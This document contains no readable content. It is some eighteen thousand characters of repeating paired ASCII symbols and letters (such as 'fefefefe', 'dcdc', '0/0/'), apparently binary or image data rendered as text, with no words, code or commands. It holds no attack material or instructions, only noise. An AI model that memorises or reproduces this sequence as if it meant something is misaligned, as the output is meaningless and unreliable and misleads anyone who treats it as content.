fefefefeccccdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOKLKKKKKKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;87878787434343330/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     fefefefedcdcbaba`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;87878787333434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;:9:9:987878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKKKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMKKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787333333430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[ZYZYXWXWVUVUVUVURQRQRQRQNMNMNMNMLKJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878765434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565434333330/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - fefefefebabababa`_`_^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!      - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefedcbabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - dcdcdcccbabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - cccdcdcdbabababa^]^]^]^]\[\[ZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - cdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - cdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - cdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - cdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - ccccccdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQLKLKKKKKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - dcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQPOPOKLKLKLKLJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - dcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOKLKLKLKLJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - dcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOKLKLKLKLJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!   - - - - dcdcdcdcbaba`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOKLKLKLKLJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - dcdccccc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOKLKLKLKKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:96543434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - cdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOKKKKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:94333333421212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - cdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:98787873434343421212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - cdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787873434343421212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - cdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787873434343421212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - cdcdcdcc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787873434343421212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ccccdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKKKKKKLHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787873434333321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787873343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - - dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - - dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - - dccccccd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKKKKHGHGHGHGFEFEFEFEBABABABA@?>=>=>=<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - - cdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787333334340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - - qqrrssttwwxxyyzz]]^^__``!!""##$$XXWWVVUUiijjkkllbbcciijjFFGGHHII - - 33221100oonnmmlluuvvwwxx{{aabbccdd%%&&''((TTSSRRQQmmnnooppkkllmmnnJJKKLLMM//..--,,kkjjiihhyyzz{{||eeffgghh))**++,,PPOONNMMqqrrssttooppqqrrNNOOPPQQ++**))((ggffeedd}}~~iijjkkll--..//00 LLKKJJIIuuvvwwxxssttuuvvRRSSTTUU''&&%%$$ccbbaa``mmnnoopp11223344 - - HHGGFFEEyyzz{{||wwxxyyzzVVWWXXYY##""!! __^^]]\\qqrrsstt55667788DDCCBBAA~~}}}}~~{{ZZ[[\\]] !![[ZZYYXXuuvvwwxx99::;;<<@@??>>==||{{zzyy^^__``aa""##$$%%WWVVUUTT~~}}yyzz{{||==>>??@@<<;;::99xxwwvvuubbccddee&&''(())SSRRQQPP||{{zzyy}}~~AABBCCDD88776655ttssrrqqffgghhii**++,,--OONNMMLLxxwwvvuuEEFFGGHH - - 44332211ppoonnmmjjkkllmm..//0011 KKJJIIHHttssrrqqIIJJKKLL 00//..--llkkjjiinnooppqq22334455 - - GGFFEEDDppoonnmmMMNNOOPP,,++**))hhggffeerrssttuu66778899CCBBAA@@~~}}||llkkjjiiQQRRSSTT((''&&%%ddccbbaavvwwxxyy::;;<<==??>>==<<{{zzyyxxhhggffee~}|UUVVWWXX$$##""!!``__^^]]zz{{||}}>>??@@AA;;::9988wwvvuuttddccbbaa{{zzyyxxYYZZ[[\\ \\[[ZZYY~~BBCCDDEE 77665544ssrrqqpp``__^^]]wwvvuutt]]^^__``!!""##$$XXWWVVUUFFGGHHII - - 33221100oonnmmll\\[[ZZYY{{ssrrqqppaabbccdd%%&&''((TTSSRRQQJJKKLLMM//..--,,kkjjiihhXXWWVVUUzzyyxxwwoonnmmlleeffgghh))**++,,PPOONNMM~}|NNOOPPQQ++**))((ggffeeddTTSSRRQQvvuuttsskkjjiihgiijjkkll--..//00 LLKKJJII{{{{zzyyxxRRSSTTUU''&&%%$$ccbbaa``PPOONNMMrrqqppoofedccbbammnnoopp11223344 - - HHGGFFEEzzyyxxwwwwvvuuttVVWWXXYY##""!! __^^]]\\LLKKJJIInnmmllkka``__^^]qqrrsstt55667788DDCCBBAAvvuuttssssrrqqppZZ[[\\]] !![[ZZYYXXHHGGFFEEjjiiccbb]\\[[ZZYuuvvwwxx99::;;<<@@??>>==rrqqppoooonnmmll^^__``aa""##$$%%WWVVUUTTDDCCBBAAaa``__^^YXXWWVVUyyzz{{||==>>??@@<<;;::99nnmmllkkkkjjiihgbbccddee&&''(())SSRRQQPPRRSSTTUU@@??>>==]]\\[[ZZUTTSSRRQ~~}}}}~~AABBCCDD88776655jjiiccbbfedccbbaffgghhii**++,,--OONNMMLLVVWWXXYY<<;;::99YYXXWWVVQPONMLKK||{{zzyyEEFFGGHH - - 44332211aa``__^^a``__^^]jjkkllmm..//0011 KKJJIIHHZZ[[\\]]88776655UUTTSSRRJJIIHHGGxxwwvvuuIIJJKKLL 00//..--]]\\[[ZZ]\\[[ZZYnnooppqq22334455 - - GGFFEEDD^^__``aa44332211QQKKJJIIFFEEDDCCttssrrqqMMNNOOPP,,++**))YYXXWWVVYXXWWVVUrrssttuu66778899CCBBAA@@bbccddee00//..--HHGGFFEEBBAA@@??ppoonnmmQQRRSSTT((''&&%%UUTTSSRRUTTSSRRQvvwwxxyy::;;<<==??>>==<>==<<;;llkkjjiiUUVVWWXX$$##""!!QQKKJJIIQPONMLKKzz{{||}}>>??@@AA;;::9988jjkkllmm((''&&%%@@??>>==::998765hhggffeeYYZZ[[\\ HHGGFFEEJJIIHHGG~~}}||~~BBCCDDEE 77665544nnooppqq$$##""!!<<;;::9943322110ddccbbaa]]^^__``!!""##$$DDCCBBAAFFEEDDCC{{zzyyxxFFGGHHII - - 33221100rrssttuu 332211000//..--,``__^^]]aabbccdd%%&&''((@@??>>==BBAA@@??wwvvuuttJJKKLLMM//..--,,vvwwxxyy//..--,,,++**))(\\[[ZZYYeeffgghh))**++,,<<;;::99>>==<<;;ssrrqqppNNOOPPQQ++**))((zz{{||}}++**))(((''&&%%$XXWWVVUUiijjkkll--..//00 33221100::998765oonnmmllRRSSTTUU''&&%%$$~~''&&%%$$$##""!! TTSSRRQQmmnnoopp11223344 - - //..--,,43322110kkjjiihhVVWWXXYY##""!!  ##""!!PPOONNMMqqrrsstt55667788++**))((0//..--,ggffeeddZZ[[\\]] !! - - LLKKJJIIuuvvwwxx99::;;<<''&&%%$$,++**))(ccbbaa``^^__``aa""##$$%% - - HHGGFFEEyyzz{{||==>>??@@##""!!(''&&%%$__^^]]\\bbccddee&&''(()) DDCCBBAA~~}}}}~~AABBCCDD$##""!! [[ZZYYXXffgghhii**++,,-- - -@@??>>==||{{zzyyEEFFGGHH - - WWVVUUTTjjkkllmm..//0011  - - - - <<;;::99xxwwvvuuIIJJKKLL SSRRQQPPnnooppqq22334455 - -  88776655ttssrrqqMMNNOOPP OONNMMLLrrssttuu66778899  - - 44332211ppoonnmmQQRRSSTT - - KKJJIIHHvvwwxxyy::;;<<==!!""##$$ 00//..--llkkjjiiUUVVWWXX - -GGFFEEDDzz{{||}}>>??@@AA%%&&''((,,++**))hhggffeeYYZZ[[\\  - - CCBBAA@@~~}}||~~BBCCDDEE ))**++,,!!""##((''&&%%ddccbbaa]]^^__``!!""##$$ ??>>==<<{{zzyyxxFFGGHHII - - --..//00$$%%&&''$$##""!!``__^^]]aabbccdd%%&&''((;;::9988wwvvuuttJJKKLLMM{{zz11223344(())**++ \\[[ZZYYeeffgghh))**++,, 77665544ssrrqqppNNOOPPQQyyxxwwvv55667788,,--..//!!""##$$XXWWVVUUiijjkkll--..//00 - - 33221100oonnmmllRRSSTTUUuuttssrr99::;;<<00112233%%&&''((TTSSRRQQmmnnoopp11223344!!""##//..--,,kkjjiihhVVWWXXYYqqppoonn==>>??@@99::;;<<))**++,,PPOONNMMqqrrsstt55667788$$%%&&''++**))((ggffeeddZZ[[\\]] !!mmllkkjjAABBCCDD==>>??@@--..//00 LLKKJJIIuuvvwwxx99::;;<<(())**++''&&%%$$ccbbaa``^^__``aa""##$$%%iiccbbaaEEFFGGHHAABBCCDD11223344 - - HHGGFFEEyyzz{{||==>>??@@,,--..//##""!! __^^]]\\bbccddee&&''(())``__^^]]IIJJKKLLEEFFGGHH55667788DDCCBBAA~~}}}}~~AABBCCDD00112233 !![[ZZYYXXffgghhii**++,,--\\[[ZZYYMMNNOOPPIIJJKKQQ99::;;<<@@??>>==||{{zzyyEEFFGGHH99::;;<<""##$$%%WWVVUUTTjjkkllmm..//0011XXWWVVUUQQRRSSTTRRSSTTUU==>>??@@<<;;::99xxwwvvuuIIJJKKLL==>>??@@&&''(())SSRRQQPPnnooppqq22334455TTSSRRQQUUVVWWXXVVWWXXYYAABBCCDD88776655ttssrrqqMMNNOOPPAABBCCDD**++,,--OONNMMLLrrssttuu66778899KKJJIIHHYYZZ[[\\ZZ[[\\]]EEFFGGHH - - 44332211ppoonnmmQQRRSSTTEEFFGGHH..//0011 KKJJIIHHvvwwxxyy::;;<<==GGFFEEDD]]^^__``^^__``aaIIJJKKLL 00//..--llkkjjiiUUVVWWXXIIJJKKQQ22334455 - - GGFFEEDDzz{{||}}>>??@@AACCBBAA@@aabbccddbbcciijjMMNNOOPP,,++**))hhggffeeYYZZ[[\\RRSSTTUU66778899CCBBAA@@~~}}||~~BBCCDDEE??>>==<>==<<{{zzyyxxFFGGHHII;;::9933iijjkkllooppqqrrUUVVWWXX$$##""!!``__^^]]aabbccddZZ[[\\]]>>??@@AA;;::9988wwvvuuttJJKKLLMM221100//mmnnooppssttuuvvYYZZ[[\\ \\[[ZZYYeeffgghh^^__``aaBBCCDDEE 77665544ssrrqqppNNOOPPQQ..--,,++**))((''/..--,,+ffeeddcc[[\\]]^^ !!""FFEEDDCCHHGGFFEE}}||{{zzDDEEFFGG - - 55443322bbaa``__baa``__^iijjkkll--..//00 LLKKJJII{{{{zzyyxxRRSSTTUU''&&%%$$ccbbaa``{{zzyyxx&&%%$$##+**))(('bbaa``____``aabb##$$%%&&BBAA@@??DDCCBBAAyyxxwwvvHHIIJJKK 1100//..^^]]\\[[^]]\\[[Zmmnnoopp11223344 - - HHGGFFEEzzyyxxwwwwvvuuttVVWWXXYY##""!! __^^]]\\wwvvuutt""!!'&&%%$$#^^]]\\[[ccddeeff''(())**>>==<<;;@@??>>==uuttssrrLLMMNNOO--,,++**ZZYYXXWWZYYXXWWVqqrrsstt55667788DDCCBBAAvvuuttssssrrqqppZZ[[\\]] !![[ZZYYXXssrrqqpp#""!! ZZYYXXWWgghhiijj++,,--..::993322<<;;::99qqppoonnPPQQRRSS))((''&&VVUUTTSSVUUTTSSRuuvvwwxx99::;;<<@@??>>==rrqqppoooonnmmll^^__``aa""##$$%%WWVVUUTToonnmmllVVUUTTSSkkllmmnn//001122 1100//..87654332mmllkkjjTTUUVVWW%%$$##""RRQQKKJJRQQPONMLyyzz{{||==>>??@@<<;;::99nnmmllkkkkjjiihgbbccddee&&''(())SSRRQQPPkkjjiihhRRQQPPOOooppqqrr33445566 - - --,,++**21100//.iihhggffXXYYZZ[[!! IIHHGGFFKKJJIIHH~~}}}}~~AABBCCDD88776655jjiiccbbfedccbbaffgghhii**++,,--OONNMMLL{{ggffeedd - -NNMMLLKKssttuuvv778899::))((''&&.--,,++*eeddccbb\\]]^^__ !!""##EEDDCCBBGGFFEEDD||{{zzyyEEFFGGHH - - 44332211aa``__^^a``__^^]jjkkllmm..//0011 KKJJIIHHzzyyxxwwccbbaa``  JJIIHHGGwwxxyyzz;;<<==>>%%$$##""*))((''&aa``__^^``aabbcc$$%%&&''AA@@??>>CCBBAA@@xxwwvvuuIIJJKKLL 00//..--]]\\[[ZZ]\\[[ZZYnnooppqq22334455 - - GGFFEEDDvvuuttss__^^]]\\ - - FFEEDDCC{{||}}~~??@@AABB!!&%%$$##"]]\\[[ZZddeeffgg(())**++==<<;;::??>>==<>==<>==<<;;zzyyxxwwGGHHIIJJ UUTTSSRRllmmnnoo00112233 - -00//..--65433221llkkjjiiUUVVWWXX$$##""!!QQKKJJIIQPONMLKKzz{{||}}>>??@@AA;;::9988jjiiccbbSSRRQQPP::998877vvuuttssKKLLMMNN QQPPOONNppqqrrss44556677 ,,++**))100//..-hhggffeeYYZZ[[\\ HHGGFFEEJJIIHHGG~~}}||~~BBCCDDEE 77665544aa``__^^OONNMMLL - -66554433rrqqppooOOPPQQRR - - MMLLKKJJttuuvvww8899::;;((''&&%%-,,++**)ddccbbaa]]^^__``!!""##$$DDCCBBAAFFEEDDCC{{zzyyxxFFGGHHII - - 33221100]]\\[[ZZKKJJIIHH 221100//nnmmllkkSSTTUUVV IIHHGGFFxxyyzz{{<<==>>??$$##""!!)((''&&%``__^^]]aabbccdd%%&&''((@@??>>==BBAA@@??wwvvuuttJJKKLLMM//..--,,YYXXWWVVGGFFEEDD!!""##$$..--,,++jjiihhggWWXXYYZZ - - EEDDCCBB~~||}}~~@@AABBCC%$$##""!\\[[ZZYYeeffgghh))**++,,<<;;::99>>==<<;;ssrrqqppNNOOPPQQ++**))((UUTTSSRRCCBBAA@@%%&&''((**))((''ffeeddcc[[\\]]^^ !!"" - - AA@@??>>}}||{{zzDDEEFFGG - - ! XXWWVVUUiijjkkll--..//00 33221100::998765oonnmmllRRSSTTUU''&&%%$$QQKKJJII??>>==<<))**++,,&&%%$$##bbaa``____``aabb##$$%%&& ==<<;;::yyxxwwvvHHIIJJKK TTSSRRQQmmnnoopp11223344 - - //..--,,43322110kkjjiihhVVWWXXYY##""!! HHGGFFEE;;::9988--..//00""!! ^^]]\\[[ccddeeff''(())**99887766uuttssrrLLMMNNOO PPOONNMMqqrrsstt55667788++**))((0//..--,ggffeeddZZ[[\\]] !!DDCCBBAA7766554411223399 !!""ZZYYXXWWgghhiijj++,,--.. - - 55443322qqppoonnPPQQRRSS - - LLKKJJIIuuvvwwxx99::;;<<''&&%%$$,++**))(ccbbaa``^^__``aa""##$$%%@@??>>==33221100::;;<<==##$$%%&&VVUUTTSSkkllmmnn//001122!! 1100//..mmllkkjjTTUUVVWW HHGGFFEEyyzz{{||==>>??@@##""!!(''&&%%$__^^]]\\bbccddee&&''(())<<;;::99//..--,,>>??@@AA''(())**RRQQPPOOooppqqrr33445566""##$$%%--,,++**iihhggffXXYYZZ[[ - - DDCCBBAA~~}}}}~~AABBCCDD$##""!! [[ZZYYXXffgghhii**++,,--33221100++**))((BBCCDDEE++,,--..NNMMLLKKssttuuvv778899::&&''(())))((''&&eeddccbb\\]]^^__ !!""## - - @@??>>==||{{zzyyEEFFGGHH - - WWVVUUTTjjkkllmm..//0011 //..--,,''&&%%$$FFGGHHII//001122 JJIIHHGGwwxxyyzz;;<<==>>**++,,--%%$$##""aa``__^^``aabbcc$$%%&&''<<;;::99xxwwvvuuIIJJKKLL SSRRQQPPnnooppqq22334455 - - ++**))((##""!! JJKKQQRR33445566 - - FFEEDDCC{{||}}~~??@@AABB..//0011!! ]]\\[[ZZddeeffgg(())**++88776655ttssrrqqMMNNOOPP OONNMMLLrrssttuu66778899''&&%%$$SSTTUUVV778899::BBAA@@??~~}}||{{CCDDEEFF223399:: !!""##YYXXWWVVhhiijjkk,,--..// - - 44332211ppoonnmmQQRRSSTT - - KKJJIIHHvvwwxxyy::;;<<==##""!!WWXXYYZZ;;<<==>>>>==<<;;zzyyxxwwGGHHIIJJ;;<<==>>$$%%&&''UUTTSSRRllmmnnoo00112233!!"" 00//..--llkkjjiiUUVVWWXX - 